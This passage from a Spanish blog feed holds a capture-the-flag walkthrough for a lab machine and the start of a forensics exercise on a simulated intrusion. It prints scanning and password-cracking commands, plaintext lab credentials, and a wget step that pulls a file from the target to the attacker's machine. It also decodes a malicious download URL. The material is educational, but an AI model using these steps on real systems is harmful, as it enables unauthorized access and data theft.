&lt;td&gt;22/tcp SSH, 80/tcp HTTP, 3306/tcp MySQL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cadena principal&lt;/td&gt;
&lt;td&gt;Pista en cabeceras HTTP → subdominio oculto → metadatos con credenciales → acceso a MySQL → activación de evento programado → recuperación de contraseña → pista sobre preloading → abuso de biblioteca precargada&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dificultad&lt;/td&gt;
&lt;td&gt;avanzada&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Descubrimiento de la máquina&lt;/h2&gt;
&lt;p&gt;La superficie inicial es reducida y reconocible: SSH, web y MySQL. Eso ya orienta el laboratorio hacia una cadena mixta entre exposición de aplicación y abuso de servicios internos.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sSCV -p- -Pn -n --min-rate 5000 192.168.1.41
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El resultado relevante fue:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;22/tcp&lt;/code&gt; - OpenSSH 8.2p1&lt;/li&gt;
&lt;li&gt;&lt;code&gt;80/tcp&lt;/code&gt; - Apache/2.4.41&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3306/tcp&lt;/code&gt; - MySQL 8.0.39&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Desde el diseño, aquí quería evitar dos errores comunes en algunos CTF: esconder la máquina detrás de una enumeración interminable o inflarla con servicios irrelevantes. La exposición es mínima a propósito. El aprendizaje no está en encontrar veinte puertos, sino en interpretar bien tres.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Reconocimiento web y lectura de señales&lt;/h2&gt;
&lt;p&gt;La primera interacción útil aparece en HTTP. La página expuesta no entrega contenido funcional claro, pero sí introduce un detalle deliberado: un timestamp dinámico que añade sensación de actividad sin regalar contexto. A simple vista no resuelve nada, pero obliga a no asumir que una web sencilla es una web vacía.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whatweb --verbose http://192.168.1.41
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El punto importante no era el fingerprinting del servidor, sino las cabeceras no habituales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;X-Hint&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Contact&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La pista de &lt;code&gt;X-Hint&lt;/code&gt; conducía a un subdominio que había que resolver manualmente:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;192.168.1.41 info.sensores.thl&quot; | sudo tee -a /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Al acceder a &lt;code&gt;http://info.sensores.thl&lt;/code&gt;, el código fuente incluía un comentario en Base64:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- QSB2ZWNlcywgbG8gbcOhcyBvYnZpbyBlcyBsbyBxdWUgc2UgcGFzYSBwb3IgYWx0by4gVHUgw7puaWNhIHNhbGlkYSBlcyB2ZXIgbG8gcXVlIG90cm9zIG5vIHZlbi4gRWwgdGllbXBvIGNvcnJlIHkgY2FkYSBwaXN0YSBlcyB1bmEgcGllemEgY2xhdmUgZGVsIHJvbXBlY2FiZXphcy4K --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;QSB2ZWNlcy...&quot; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La salida era una pista narrativa:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;A veces, lo más obvio es lo que se pasa por alto. Tu única salida es ver lo que otros no ven.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Esta fase la construí para enseñar algo básico pero muy vigente: mucha información útil no aparece en la funcionalidad visible, sino en metadatos, comentarios, cabeceras o decisiones de despliegue que el equipo asume inofensivas. No es una vulnerabilidad espectacular. Es una filtración de contexto. Y en ataques reales, ese contexto vale mucho.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Metadatos como canal de fuga&lt;/h2&gt;
&lt;p&gt;En esa segunda superficie web aparecía una imagen con información embebida. La extracción de metadatos permitía recuperar una cadena codificada.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exiftool sensor_overview.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Entre los metadatos destacaba un comentario con contenido Base64:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;YWN1dGU6SVM0...&quot; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;De ahí se obtenían credenciales válidas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Usuario: &lt;code&gt;acute&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Contraseña: &lt;code&gt;IS4yBvfwxpXUZsBxhCXr5muv3dXdQg!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aquí la intención de diseño era clara: representar el error de tratar archivos auxiliares como si no formaran parte de la superficie de ataque. En muchos entornos, imágenes, documentos y artefactos de despliegue terminan transportando datos operativos, comentarios internos o secretos que nadie revisa porque no forman parte de la aplicación. Esa frontera es ficticia. Todo lo que se publica cuenta.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Acceso a MySQL y abuso de automatismos&lt;/h2&gt;
&lt;p&gt;Con esas credenciales, la siguiente fase permitía entrar en MySQL.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -u acute -p -h 192.168.1.41
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La enumeración de la base de datos llevaba a un evento programado deshabilitado. Activarlo alteraba el comportamiento esperado del sistema:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ALTER EVENT insert_login_data ENABLE;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A partir de ese momento, la tabla &lt;code&gt;login&lt;/code&gt; generaba credenciales periódicamente. Después era posible recuperar la contraseña del usuario &lt;code&gt;administrador&lt;/code&gt; desde la propia base de datos:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT CONVERT(AES_DECRYPT(UNHEX(password), &apos;encryption_key&apos;) USING utf8) 
AS decrypted_password FROM login WHERE usuario = &apos;administrador&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esta parte no estaba pensada como un simple pivot para extraer datos. Quería enseñar dos ideas.&lt;/p&gt;
&lt;p&gt;La primera: exponer un servicio como MySQL no siempre implica una explotación directa del motor; a veces basta con encontrar automatismos inseguros ya presentes en el diseño operativo. La segunda: los mecanismos programados, cuando se combinan con permisos excesivos o con claves accesibles desde el propio entorno, convierten la base de datos en un punto de control y no solo en un almacén.&lt;/p&gt;
&lt;p&gt;Ese patrón sí tiene equivalente real. Tareas, eventos, jobs y procesos recurrentes suelen darse por confiables porque ya existen dentro de la operación. Pero si un atacante puede activarlos, reconfigurarlos o leer los materiales criptográficos relacionados, dejan de ser automatización y pasan a ser mecanismo de abuso.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Del acceso inicial a una pista útil&lt;/h2&gt;
&lt;p&gt;En el contexto obtenido aparecía un fichero cifrado llamado &lt;code&gt;leeme.txt.gpg&lt;/code&gt;. La máquina no contaba con John the Ripper, así que la resolución obligaba a mover la muestra a un entorno propio para trabajarla con más comodidad.&lt;/p&gt;
&lt;p&gt;Una forma sencilla de exfiltrarlo era levantar un servidor HTTP temporal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m http.server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Y descargar el archivo desde el equipo atacante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget http://10.0.2.15:8000/leeme.txt.gpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Después, el flujo habitual con &lt;code&gt;gpg2john&lt;/code&gt; y &lt;code&gt;john&lt;/code&gt; permitía recuperar la clave:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gpg2john leeme.txt.gpg &amp;gt; leeme_hash.txt
sudo john --wordlist=/usr/share/wordlists/rockyou.txt leeme_hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La contraseña encontrada era:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;superman1&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Con ella, ya era posible descifrar el archivo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gpg --decrypt leeme.txt.gpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El contenido no daba una instrucción literal, sino una pista técnica:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;No todas las funciones tienen el control que parecen tener. Algunas veces, quien controla lo que se carga primero tiene la ventaja. Recuerda: la pre-carga puede ser tu mejor aliada... o tu perdición.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En esta fase me interesaba introducir una transición importante: pasar de la lógica de enumeración y recuperación de secretos a una lectura más cercana al comportamiento del sistema. No todo privilegio se gana explotando un binario SUID o una mala regla de sudoers. A veces se gana entendiendo cómo resuelve dependencias el sistema y quién controla ese proceso.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Preloading como frontera rota de confianza&lt;/h2&gt;
&lt;p&gt;La pista sobre pre-carga obligaba a mirar el comportamiento del enlazado dinámico. La comprobación de dependencias en &lt;code&gt;/bin/ls&lt;/code&gt; dejaba ver una biblioteca inesperada:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldd /bin/ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La validación definitiva estaba en:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /etc/ld.so.preload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La salida mostraba:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;/lib/libscaperoom.so&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ese era el corazón conceptual del laboratorio. Quise representar un fallo muy concreto: cuando el sistema introduce una biblioteca precargada en la ejecución de procesos, está ampliando de forma radical la superficie de confianza. Si esa biblioteca incorpora lógica sensible, credenciales embebidas o efectos laterales inseguros, el impacto deja de estar acotado a una aplicación concreta y contamina el comportamiento general del host.&lt;/p&gt;
&lt;p&gt;No es un truco de CTF por sí mismo. Es una exageración pedagógica de un problema real: la dependencia excesiva de mecanismos globales de carga y la falsa sensación de seguridad que produce esconder lógica crítica en componentes compartidos.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Inspección de la biblioteca y escalada de privilegios&lt;/h2&gt;
&lt;p&gt;La inspección de la sección &lt;code&gt;.rodata&lt;/code&gt; de la biblioteca exponía cadenas relevantes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;readelf -p .rodata /lib/libscaperoom.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Entre ellas aparecían:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;referencia a &lt;code&gt;read&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;una contraseña: &lt;code&gt;rT8hQ9VcYb5kLmXo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;el mensaje: &lt;code&gt;[+] Acceso root concedido!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con esa credencial, la transición a &lt;code&gt;root&lt;/code&gt; era directa:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;su
Password: rT8hQ9VcYb5kLmXo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esta escalada no pretendía enseñar una primitiva exótica, sino una mala práctica de diseño: incrustar información sensible en un componente de bajo nivel que el sistema carga de forma global. Cuando una biblioteca participa en un mecanismo tan transversal como &lt;code&gt;ld.so.preload&lt;/code&gt;, cualquier secreto o lógica de control que viva dentro de ella merece el mismo nivel de revisión que una pieza crítica del sistema. Si no se trata así, el problema no es la biblioteca: es el modelo de confianza completo.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar Scape Room&lt;/h2&gt;
&lt;p&gt;Scape Room está construida para que la resolución no dependa de una vulnerabilidad aislada, sino de una lectura encadenada de errores pequeños y medianos que, juntos, rompen el sistema. La máquina no busca premiar fuerza bruta ni intuición arbitraria. Busca que el jugador entienda cómo se conectan filtración de contexto, secretos expuestos, automatismos inseguros y abuso de mecanismos globales de carga.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cabeceras HTTP y subdominio&lt;/td&gt;
&lt;td&gt;La superficie útil no siempre está en la aplicación visible&lt;/td&gt;
&lt;td&gt;Exposición de pistas operativas en metadatos y cabeceras&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comentarios y Base64 en el código fuente&lt;/td&gt;
&lt;td&gt;La observación básica sigue siendo crítica&lt;/td&gt;
&lt;td&gt;Filtración de contexto por descuido&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metadatos de imagen&lt;/td&gt;
&lt;td&gt;Los archivos publicados también forman parte del perímetro&lt;/td&gt;
&lt;td&gt;Secretos embebidos en recursos auxiliares&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Acceso a MySQL&lt;/td&gt;
&lt;td&gt;Un servicio expuesto puede convertirse en punto de control&lt;/td&gt;
&lt;td&gt;Credenciales reutilizadas y permisos operativos peligrosos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Evento programado&lt;/td&gt;
&lt;td&gt;Los automatismos pueden ser una vía de abuso&lt;/td&gt;
&lt;td&gt;Jobs o eventos mal gobernados&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Descifrado del archivo GPG&lt;/td&gt;
&lt;td&gt;El acceso no siempre entrega la respuesta final, sino la siguiente pista&lt;/td&gt;
&lt;td&gt;Dependencia de secretos débiles y materiales exportables&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ld.so.preload&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;La confianza global del sistema puede romperse por diseño&lt;/td&gt;
&lt;td&gt;Uso inseguro de bibliotecas precargadas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inspección de &lt;code&gt;libscaperoom.so&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Los componentes compartidos deben revisarse como piezas críticas&lt;/td&gt;
&lt;td&gt;Credenciales incrustadas en bibliotecas de bajo nivel&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;El aprendizaje reutilizable que quería dejar con esta máquina es sencillo: una intrusión madura rara vez depende de una bala de plata. Normalmente avanza porque varias capas del sistema comparten el mismo problema de fondo: decisiones de diseño tomadas sin pensar cómo se comportan cuando el adversario observa, correlaciona y reutiliza información entre contextos distintos.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Documentación de &lt;code&gt;nmap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Documentación de &lt;code&gt;whatweb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Manual de &lt;code&gt;exiftool&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Documentación de MySQL sobre eventos programados&lt;/li&gt;
&lt;li&gt;Manual de &lt;code&gt;ld.so&lt;/code&gt; y &lt;code&gt;ld.so.preload&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Manual de &lt;code&gt;readelf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gpg2john&lt;/code&gt; y John the Ripper para extracción y crackeo de hashes GPG&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Oscar</author></item><item><title>DevOps Nightmare: una cadena DFIR pensada para leer compromiso, persistencia y exfiltración</title><link>https://blog.oscarai.tech/posts/devops-nightmare-una-cadena-dfir-pensada-para-leer-compromiso-persistencia-y-exfiltraci%C3%B3n</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/devops-nightmare-una-cadena-dfir-pensada-para-leer-compromiso-persistencia-y-exfiltraci%C3%B3n</guid><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Linux&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; media&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;DevOps Nightmare es una máquina que diseñé para trabajar una idea muy concreta: cómo reconstruir una intrusión a partir de evidencias dispersas, correlacionando autenticación, actividad de sistema, tráfico de red y rastros de exfiltración. No la planteé como una colección de pruebas aisladas, sino como una cadena coherente en la que cada artefacto responde a una fase del ataque.&lt;/p&gt;
&lt;p&gt;La intención del laboratorio no es premiar a quien memoriza comandos, sino obligar a leer el incidente con criterio. Primero aparece un acceso inicial identificable en &lt;code&gt;auth.log&lt;/code&gt;, después una descarga sospechosa en &lt;code&gt;syslog&lt;/code&gt;, más tarde un canal de persistencia visible en red y en logs, y finalmente movimiento lateral y exfiltración sobre un activo interno. Esa secuencia reproduce errores que no son exclusivos de un CTF: reutilización o exposición de credenciales, ejecución de payloads desde infraestructura externa, listeners no autorizados y transferencias internas que terminan saliendo del entorno.&lt;/p&gt;
&lt;p&gt;Por eso el valor de la máquina no está solo en responder preguntas del solucionario. Está en entender por qué la cadena tiene sentido, qué evidencia deja cada fase y cómo una investigación razonable puede reconstruirla sin depender de una única fuente.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nombre&lt;/td&gt;
&lt;td&gt;DevOps Nightmare&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP objetivo&lt;/td&gt;
&lt;td&gt;No especificada en las notas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicios&lt;/td&gt;
&lt;td&gt;SSH, tráfico HTTP saliente, servicio persistente en puerto alto, comunicación interna hacia servidor de base de datos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cadena principal&lt;/td&gt;
&lt;td&gt;Acceso inicial por credenciales comprometidas → descarga de payload → persistencia mediante listener → movimiento lateral hacia activo interno → exfiltración&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dificultad&lt;/td&gt;
&lt;td&gt;Media&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Descubrimiento de la evidencia&lt;/h2&gt;
&lt;p&gt;El punto de partida del laboratorio es una colección de artefactos que obliga a combinar fuentes distintas. No quise que la investigación dependiera de una sola pista evidente, sino de la relación entre logs de autenticación, logs del sistema, captura de red y un artefacto de base de datos presente como contexto.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir investigacion
tar -xzvf DevOps_Nightmare.tar.gz -C investigacion/
cd investigacion
ls -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;En las notas aparecen estos ficheros:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auth.log
syslog
network.pcap
app_database.db
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Desde el diseño, esta fase busca introducir una mentalidad básica de DFIR: antes de responder qué ha pasado, hay que entender qué fuentes existen y qué parte de la historia puede aportar cada una. &lt;code&gt;auth.log&lt;/code&gt; sirve para fijar el acceso inicial, &lt;code&gt;syslog&lt;/code&gt; para ver actividad local, &lt;code&gt;network.pcap&lt;/code&gt; para validar comportamiento y temporalidad, y &lt;code&gt;app_database.db&lt;/code&gt; queda como artefacto contextual, no necesariamente como pieza central de la resolución.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Acceso inicial&lt;/h2&gt;
&lt;p&gt;La primera parte de la cadena está en &lt;code&gt;auth.log&lt;/code&gt;. Aquí la intención era enseñar una lectura sencilla pero útil: un patrón de fallo seguido de éxito sobre el mismo usuario y desde la misma IP en una ventana muy corta suele ser suficiente para orientar la investigación, incluso sin disponer de telemetría más rica.&lt;/p&gt;
&lt;p&gt;Las notas muestran primero mucho ruido de accesos válidos por clave pública:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nov 15 23:55:49 ubuntu sshd[3258]: Accepted publickey for admin from 10.0.0.62 port 36536
Nov 15 23:55:54 ubuntu sshd[9827]: Accepted publickey for jenkins from 10.0.0.254 port 62422
Nov 15 23:56:25 ubuntu sshd[4264]: Accepted publickey for developer1 from 10.0.0.165 port 48274
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ese ruido está puesto a propósito. En una investigación real rara vez se trabaja sobre un log limpio. Hay eventos legítimos, automatizaciones y accesos esperables que no ayudan a explicar el incidente. La pista relevante aparece al apartar ese tráfico normal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -v &quot;Accepted publickey&quot; auth.log
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Nov 15 03:27:45 ubuntu sshd[10612]: Failed password for developer1 from 45.63.89.234 port 39654
Nov 15 03:28:15 ubuntu sshd[10612]: Accepted password for developer1 from 45.63.89.234 port 39654
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Técnicamente, la conclusión es clara: la IP &lt;code&gt;45.63.89.234&lt;/code&gt; consigue autenticarse como &lt;code&gt;developer1&lt;/code&gt; tras un fallo previo. No necesitaba una fuerza bruta masiva para que la idea funcionase; bastaba con una secuencia mínima que obligara a detectar la relación temporal y contextual.&lt;/p&gt;
&lt;p&gt;Lo que quise enseñar aquí es que el acceso inicial no siempre se presenta como una firma espectacular. A veces es solo una transición muy breve entre falló y entró, y la capacidad de verla depende más de filtrar bien el ruido que de buscar indicadores complejos.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Descarga del payload y dominio de mando y control&lt;/h2&gt;
&lt;p&gt;Una vez fijado el acceso inicial, el siguiente paso del laboratorio lleva al sistema. Quería que la investigación no se quedara en hubo un login sospechoso, sino que avanzara hacia lo que el intruso hizo después de entrar. Para eso, &lt;code&gt;syslog&lt;/code&gt; contiene una evidencia explícita de descarga, pero codificada de forma lo bastante simple como para exigir una validación manual.&lt;/p&gt;
&lt;p&gt;La búsqueda se concentra alrededor de la hora del compromiso:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;wget&quot; syslog
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Nov 15 03:28:30 ubuntu wget[3225]: Download completed: aHR0cDovL2Nkbi11cGRhdGUuZGV2b3BzLnRlY2gvdXBkYXRlX2FnZW50LnNo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La cadena en base64 se decodifica así:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;aHR0cDovL2Nkbi11cGRhdGUuZGV2b3BzLnRlY2gvdXBkYXRlX2FnZW50LnNo&quot; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;http://cdn-update.devops.tech/update_agent.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A nivel técnico, esta fase identifica dos piezas: el fichero descargado, &lt;code&gt;update_agent.sh&lt;/code&gt;, y el dominio usado para servirlo, &lt;code&gt;cdn-update.devops.tech&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A nivel de diseño, esta parte representa algo muy habitual: tras obtener acceso, el atacante no necesita ejecutar un implante sofisticado si puede traer un script desde infraestructura externa y apoyarse en utilidades nativas del sistema. La codificación en base64 no pretende ser malware avanzado; pretende enseñar una lección más útil: muchos indicadores no están ocultos, solo empaquetados lo justo para que una revisión superficial los pase por alto.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Persistencia y canal de control&lt;/h2&gt;
&lt;p&gt;La fase siguiente está pensada para forzar correlación entre red y sistema. No quise dejar la persistencia resuelta en un único log inequívoco. Preferí que primero apareciera como anomalía de tráfico y solo después pudiera confirmarse en &lt;code&gt;syslog&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Según las notas, el análisis del PCAP parte de un resumen de conversaciones TCP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tshark -r network.pcap -q -z conv,tcp &amp;gt; trafico.txt
cat trafico.txt | grep -v &quot;:80&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La observación relevante es una conexión asociada al puerto &lt;code&gt;54321&lt;/code&gt;, fuera del patrón esperado. La validación posterior en los logs del sistema cierra la hipótesis:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;54321&quot; syslog
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Started listener on port 54321
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Con eso, la persistencia queda asociada a un listener local en un puerto alto no estándar.&lt;/p&gt;
&lt;p&gt;Lo importante aquí no es el número de puerto en sí, sino el razonamiento. En muchos entornos reales, la persistencia no se descubre por una firma inequívoca, sino por la combinación de dos hechos discretos: un patrón de red extraño y un rastro local que explica quién abrió ese canal. Diseñé esta parte para enseñar esa lectura cruzada. También buscaba reflejar un error operativo común: procesos no autorizados escuchando en puertos altos que terminan normalizándose porque nadie revisa esos detalles mientras el servicio principal sigue funcionando.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Movimiento lateral hacia el segundo servidor&lt;/h2&gt;
&lt;p&gt;Una vez comprometido el host inicial, la máquina empuja la investigación hacia el interior de la red. La idea era evitar que toda la historia girase alrededor del atacante externo y mostrar que, tras consolidar acceso, el siguiente paso razonable es explorar activos internos de más valor.&lt;/p&gt;
&lt;p&gt;Las notas proponen identificar conexiones salientes desde la víctima hacia otros sistemas internos:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tshark -r network.pcap -Y &quot;ip.src == 192.168.1.100 and ip.dst != 45.63.89.234 and tcp.flags.syn==1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A partir de ahí aparece una IP interna relevante: &lt;code&gt;192.168.1.200&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;La correlación con &lt;code&gt;syslog&lt;/code&gt; revela el hostname:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;192.168.1.200&quot; syslog
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;firewall: dbmaster01 (192.168.1.200) added to authorized whitelist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La pista clave es &lt;code&gt;dbmaster01&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Desde el punto de vista del diseño, esta fase existe para enseñar dos cosas. La primera es que el movimiento lateral no siempre deja nombres claros en la captura; a menudo el nombre útil aparece en otra fuente, como logs de firewall, inventario o sistema. La segunda es que un atacante que ya dispone de un punto de apoyo raramente se queda en la máquina comprometida si detecta un servidor de base de datos accesible en red interna. Por eso el salto a &lt;code&gt;dbmaster01&lt;/code&gt; no es gratuito: representa una progresión lógica hacia un activo con mayor impacto.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exfiltración y nombre del archivo robado&lt;/h2&gt;
&lt;p&gt;La última fase está construida para cerrar la cadena completa: no basta con ver intrusión y persistencia; hay que identificar qué salió del entorno. Aquí introduje una evidencia pequeña, pero suficiente, en el payload TCP.&lt;/p&gt;
&lt;p&gt;Las notas extraen el contenido hexadecimal de una transferencia desde el servidor interno hacia la IP atacante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tshark -r network.pcap \
  -Y &quot;ip.src == 192.168.1.200 and ip.dst == 45.63.89.234&quot; \
  -T fields -e tcp.payload | head -1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;7af9d12b5f636f6e666964656e7469616c5f64756d702e73716c2e677a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Al reconstruirlo desde hexadecimal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;7af9d12b5f636f6e666964656e7469616c5f64756d702e73716c2e677a&quot; | xxd -r -p
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;7af9d12b_confidential_dump.sql.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Si además se extraen solo los caracteres imprimibles, el nombre legible del archivo queda todavía más claro:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;7af9d12b5f636f6e666964656e7469616c5f64756d702e73716c2e677a&quot; | xxd -r -p | strings
&lt;/code&gt;&lt;/pre&gt;
